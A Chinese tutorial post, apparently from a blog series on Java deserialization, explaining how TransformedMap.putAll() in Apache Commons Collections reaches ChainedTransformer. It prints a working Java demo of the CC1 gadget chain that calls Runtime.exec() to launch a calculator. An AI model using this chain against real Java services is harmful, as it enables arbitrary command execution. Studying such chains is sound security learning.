0x01 前言

通过上一篇文章的学习,我们知道了
要想成功的命令执行就必须触发ChainedTransformer类的transform方法

TransformedMap类中,支持我们触发漏洞的方法,一共有两个
分别是: put()putAll()方法

上一篇文章,明明已经说过了这两个,那么为什么又要开一篇新文章说明?

因为本篇文章主要说明一下这个putAll()方法,为下一篇文章打好基础
因为下一篇文章,要真正的写一个反序列化的POC进行分析学习
putAll()方法的利用方式的POC与下一篇文章的POC比较相似,所以先列出来学习学习,打打基础

0x02 demo

  1. // 路径: /DeserializationTest/src/main/java
  2. // 文件名称: CommonCollections1Test2.java
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.functors.ChainedTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.util.HashMap;
  9. import java.util.Map;
  10. public class CommonCollections1Test2 {
  11. public static void main(String[] args) {
  12. // 要执行的命令
  13. String cmd = "open -a /System/Applications/Calculator.app";
  14. //构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
  15. Transformer[] transformers = new Transformer[]{
  16. new ConstantTransformer(Runtime.class),
  17. new InvokerTransformer(
  18. "getMethod",
  19. new Class[]{String.class, Class[].class},
  20. new Object[]{"getRuntime", new Class[0]}
  21. ),
  22. new InvokerTransformer(
  23. "invoke",
  24. new Class[]{Object.class, Object[].class},
  25. new Object[]{null, new Object[0]}
  26. ),
  27. new InvokerTransformer(
  28. "exec",
  29. new Class[]{String.class},
  30. new Object[]{cmd}
  31. )
  32. };
  33. // 将 transformers 数组存入 ChaniedTransformer 这个继承类
  34. Transformer transformerChain = new ChainedTransformer(transformers);
  35. // 创建个 Map 准备拿来绑定 transformerChina
  36. Map innerMap = new HashMap();
  37. innerMap.put("kf", "vvv");
  38. // 创建个 transformerChina 并绑定 innerMap
  39. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  40. outerMap.putAll(innerMap);
  41. System.out.println("执行完毕");
  42. }
  43. }

接着运行该文件进行攻击测试,即可看到弹出了计算器

0x03 正文

前置知识我就不讲了,上一篇文章都有,主要讲讲,为什么需要下面这样的代码才能触发漏洞
代码如下:

  1. Map innerMap = new HashMap();
  2. innerMap.put("kf", "vvv");
  3. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  4. outerMap.putAll(innerMap);

进入TransformedMap类,查找putAll方法
image.png
通过查看putAll方法可以看到调用了this.transformMap()方法
在跟一下transformMap()方法,发现最终会循环调用本类的put()方法
put()方法,会调用this.transformKey()this.transformValue()方法
而最终这两个方法都会去调用transform方法,触发了,漏洞

putAll方法,第一个参数需要一个Map进行循环
因此最终就建立了一个

  1. Map innerMap = new HashMap();
  2. innerMap.put("kf", "vvv");

提供给putAll方法,进行操作

0x04 总结

本篇文章主要学习到为什么需要innerMap.put("kk", "vvv")这种写法才能触发漏洞即可
打下一个基础的种子方便我们下一篇文章,真正学习cc1简易版的反序列化漏洞即

未完待续….